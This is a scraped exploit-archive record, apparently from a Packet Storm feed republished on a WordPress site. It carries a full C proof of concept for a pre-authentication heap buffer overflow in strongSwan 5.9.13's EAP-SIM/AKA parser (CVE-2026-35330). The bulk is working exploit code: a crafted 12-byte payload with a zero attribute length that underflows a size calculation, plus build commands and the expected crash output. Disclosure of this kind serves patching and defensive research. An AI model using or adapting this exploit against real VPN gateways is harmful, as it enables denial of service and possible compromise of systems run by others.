{“lastseen”:”2026-05-29T16:17:02″,”description”:”strongSwan version 5.9.13 suffers from a pre-authentication heap buffer overflow vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 strongSwan 5.9.13 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:222183″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-35330″],”sourceData”:”* Exploit Title: strongSwan 5.9.13 – heap buffer overflow\\n * Date: 2026-05-13\\n * Exploit Author: Lukas Johannes Moeller\\n * Vendor Homepage: https:\/\/www.strongswan.org\/\\n * Software Link: https:\/\/download.strongswan.org\/strongswan-5.9.13.tar.bz2\\n * Version: strongSwan \\u003c= 5.9.13 (eap-sim or eap-aka plugin built)\\n * Tested on: Debian 12 bookworm, libsimaka.so.0.0.0 + libstrongswan.so.0.0.0\\n * from upstream strongswan-5.9.13 tarball (no distro patches).\\n * CVE: CVE-2026-35330\\n * References:\\n * https:\/\/github.com\/strongswan\/strongswan\/commit\/aa5aaebc33\\n * https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-35330\\n * https:\/\/github.com\/JohannesLks\/CVE-2026-35330\\n *\\n * Description:\\n * parse_attributes() in src\/libsimaka\/simaka_message.c computes\\n * attribute data length as `hdr-\\u003elength * 4 – 4` without guarding\\n * against `hdr-\\u003elength == 0`. For length == 0 the validation\\n * `hdr-\\u003elength * 4 \\u003e in.len` evaluates `0 \\u003e in.len` (false on any\\n * non-empty input), so the check passes. The chunk length then\\n * underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to\\n * add_attribute(), which performs `malloc(sizeof(attr_t) + data.len)`\\n * -\\u003e `malloc(16 + 0xFFFFFFFFFFFFFFFC)` -\\u003e a 12-byte allocation,\\n * followed by an oversized memcpy. Under ASan this is a clean\\n * heap-buffer-overflow WRITE; under glibc it is an immediate\\n * SIGSEGV inside production code as soon as memcpy walks off the\\n * end of the 12-byte chunk into unmapped memory.\\n *\\n * The bug is pre-auth: an EAP-SIM\/AKA payload reaches\\n * parse_attributes() inside IKE_AUTH before any peer authentication\\n * has completed.\\n *\\n * Build:\\n * gcc -fsanitize=address -g -O0 \\\\\\n * -I\/path\/to\/strongswan-5.9.13\/src\/libsimaka \\\\\\n * -I\/path\/to\/strongswan-5.9.13\/src\/libstrongswan \\\\\\n * -include \/path\/to\/strongswan-5.9.13\/config.h \\\\\\n * strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \\\\\\n * -L\/usr\/lib\/ipsec -Wl,-rpath,\/usr\/lib\/ipsec \\\\\\n * -lsimaka -lstrongswan -o sim-aka-oob\\n *\\n * (The \/usr\/lib\/ipsec rpath points the loader at the installed\\n * strongSwan libraries. Headers come from the source tree because\\n * simaka_message.h is not installed system-wide.)\\n *\\n * Run:\\n * .\/sim-aka-oob\\n *\\n * Expected output on a vulnerable strongSwan (\\u003c= 5.9.13):\\n * AddressSanitizer: heap-buffer-overflow … WRITE of size 8\\n * #0 … in __asan_memcpy\\n * #1 … in parse_attributes … simaka_message.c\\n * #2 … in parse … simaka_message.c\\n * #3 … in main … this file\\n *\\n * Without ASan you should see a SIGSEGV; on a patched strongSwan\\n * (master \\u003e= aa5aaebc33) parse() returns FALSE and the program\\n * prints \\”parse() returned FALSE (patched)\\”.\\n *\\n * Disclaimer:\\n * For authorized testing and defensive research only. Do not use\\n * against systems you do not own or have explicit permission to\\n * test.\\n *\/\\n \\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cstdint.h\\u003e\\n #include \\u003carpa\/inet.h\\u003e\\n \\n #include \\u003clibrary.h\\u003e\\n #include \\u003cutils\/chunk.h\\u003e\\n #include \\u003csimaka_message.h\\u003e\\n \\n \/* EAP codes (RFC 3748) *\/\\n #define EAP_REQUEST 1\\n #define EAP_RESPONSE 2\\n \\n \/* EAP types *\/\\n #define EAP_TYPE_SIM 18\\n \\n \/* EAP-SIM subtypes (RFC 4186) *\/\\n #define SIM_CHALLENGE 11\\n \\n \/* EAP-SIM\/AKA attribute types (RFC 4186 \/ RFC 4187) *\/\\n #define AT_RAND 1\\n \\n \\n int main(void)\\n {\\n chunk_t data;\\n simaka_message_t *msg;\\n uint8_t payload[12];\\n \\n if (!library_init(NULL, \\”exploit-35330\\”)) {\\n fprintf(stderr, \\”[!] library_init() failed\\\\n\\”);\\n library_deinit();\\n return 1;\\n }\\n \\n \/*\\n * EAP-SIM header (8 bytes):\\n * byte 0: code = 2 (EAP_RESPONSE)\\n * byte 1: id = 0x42\\n * bytes 2-3: length = htons(12)\\n * byte 4: type = 18 (EAP-SIM)\\n * byte 5: subtype = 11 (SIM_CHALLENGE)\\n * bytes 6-7: reserved\\n *\\n * AT_RAND attribute header (4 bytes):\\n * byte 8: type = 1 (AT_RAND)\\n * byte 9: length = 0 \\u003c– triggers underflow:\\n * hdr-\\u003elength * 4 – 4 = -4 -\\u003e SIZE_MAX-3\\n * bytes 10-11: reserved\\n *\/\\n payload[0] = EAP_RESPONSE;\\n payload[1] = 0x42;\\n payload[2] = 0x00;\\n payload[3] = 12;\\n payload[4] = EAP_TYPE_SIM;\\n payload[5] = SIM_CHALLENGE;\\n payload[6] = 0x00;\\n payload[7] = 0x00;\\n payload[8] = AT_RAND;\\n payload[9] = 0; \/* the bug *\/\\n payload[10] = 0x00;\\n payload[11] = 0x00;\\n \\n data = chunk_create(payload, sizeof(payload));\\n \\n printf(\\”[*] payload (%zu bytes): \\”, data.len);\\n for (size_t i = 0; i \\u003c data.len; i++) {\\n printf(\\”%02x \\”, payload[i]);\\n }\\n printf(\\”\\\\n[*] EAP-SIM header: code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\\\\n\\”);\\n printf(\\”[*] AT_RAND header: type=1 length=0 \\u003c– triggers underflow\\\\n\\\\n\\”);\\n \\n msg = simaka_message_create_from_payload(data, NULL);\\n if (!msg) {\\n fprintf(stderr, \\”[!] simaka_message_create_from_payload() returned NULL\\”\\n \\” — header rejected\\\\n\\”);\\n library_deinit();\\n return 2;\\n }\\n printf(\\”[*] simaka_message_create_from_payload() -\\u003e %p\\\\n\\”, (void*)msg);\\n printf(\\”[*] calling msg-\\u003eparse(msg) –\\”\\n \\” expecting heap-buffer-overflow inside parse_attributes()…\\\\n\\”);\\n fflush(stdout);\\n \\n if (msg-\\u003eparse(msg)) {\\n printf(\\”[?] parse() returned TRUE — unexpected\\\\n\\”);\\n } else {\\n printf(\\”[+] parse() returned FALSE (patched) — attribute rejected\\\\n\\”);\\n }\\n \\n msg-\\u003edestroy(msg);\\n library_deinit();\\n return 0;\\n }”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222183″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222183\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T16:17:02″,”description”:”strongSwan version 5.9.13 suffers from a pre-authentication heap buffer overflow vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 strongSwan 5.9.13 Buffer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:222183″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-35330″],”sourceData”:”* Exploit Title: strongSwan 5.9.13 – heap buffer overflow\\n * Date:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-58264","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n